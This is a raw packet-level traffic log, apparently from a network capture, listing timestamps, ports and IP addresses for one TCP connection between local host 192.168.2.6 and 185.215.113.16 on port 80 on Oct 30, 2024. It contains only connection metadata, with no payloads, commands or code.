Oct 30, 2024 05:24:28.383498907 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383516073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383532047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383542061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383548975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383562088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383572102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383593082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383655071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383663893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383688927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383697987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383707047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383723974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383749962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383764029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383773088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383791924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383797884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383811951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383826017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383833885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383867979 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383872032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383882046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383899927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383908033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383919001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383954048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384025097 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384035110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384061098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384069920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384103060 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384113073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384130001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384147882 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384160995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384171009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384181023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384200096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384212971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384243011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384252071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384268999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384274960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384289026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384300947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384306908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384325981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384335995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384344101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384368896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384414911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384433985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384444952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384476900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384484053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384494066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384510994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384521008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384526014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384546995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384568930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384603024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384614944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384627104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384644032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384654999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384669065 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384687901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384736061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384799004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384812117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384830952 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384845018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384856939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384872913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384876966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384886980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384905100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384923935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384946108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.384968996 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.384993076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385003090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385031939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385039091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385051012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385063887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385068893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385083914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385093927 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385102987 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385118961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385138988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385150909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385155916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385168076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385174036 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385198116 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385481119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385519981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385555983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385575056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385586023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385608912 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385658979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385668993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385687113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385700941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385838032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385880947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.385888100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385902882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.385947943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386010885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386020899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386039972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386059046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386146069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386157036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386174917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386189938 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386197090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386207104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386214972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386229038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386243105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386248112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386261940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386281967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386392117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386401892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386418104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386428118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386451960 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386497021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386507988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386523008 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386532068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386538982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386552095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386565924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386581898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386596918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386610031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386620045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386630058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386656046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386662960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386671066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386692047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386696100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386710882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386724949 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386732101 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386811018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386826992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386841059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386852980 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386862993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386871099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386878967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386897087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.386903048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386912107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.386934042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387156963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387506962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387517929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387536049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387550116 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387562037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387571096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387581110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387592077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387605906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387612104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387659073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387676954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387686968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387703896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387712002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.387726068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387737989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.387758970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.423748016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426143885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426172018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426184893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426197052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426311016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426352024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426357985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426368952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426395893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426444054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426460028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426476002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426481009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426517963 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426527977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426551104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426565886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426585913 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426649094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426659107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426678896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426691055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426717997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426753998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426811934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426820993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426840067 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.426856995 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.426886082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427032948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427047968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427064896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427088022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427112103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427122116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427138090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427145958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427154064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427165031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427172899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427185059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427200079 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427208900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427243948 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427357912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427397966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427409887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427438974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427488089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427496910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427512884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427526951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427531958 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427546978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427553892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427567005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427577972 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427584887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427598953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427608013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427614927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427625895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.427642107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.427978992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.457366943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.457380056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.457398891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.457408905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.457423925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.457485914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.501660109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501703978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501713991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501734018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501744032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501751900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.501779079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501794100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501805067 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.501816034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501851082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.501851082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.501902103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501912117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501919985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501924992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501934052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.501967907 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502324104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502367020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502377033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502383947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502399921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502432108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502480030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502492905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502523899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502542019 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502551079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502568960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502599001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502609968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502619028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502619028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502639055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502645016 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502656937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502666950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502684116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502695084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502703905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502733946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502782106 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502819061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502835989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502851963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502866030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502888918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502955914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502975941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502985001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.502990007 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.502995968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503000975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503011942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503021955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503026009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503031015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503074884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503082037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503092051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503110886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503122091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503133059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503158092 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503180027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503187895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503218889 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503242016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503249884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503267050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503276110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503285885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503300905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503308058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503325939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503336906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503371954 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503392935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503402948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.503432989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.503452063 CET	80	49760	185.215.113.16	192.168.2.6
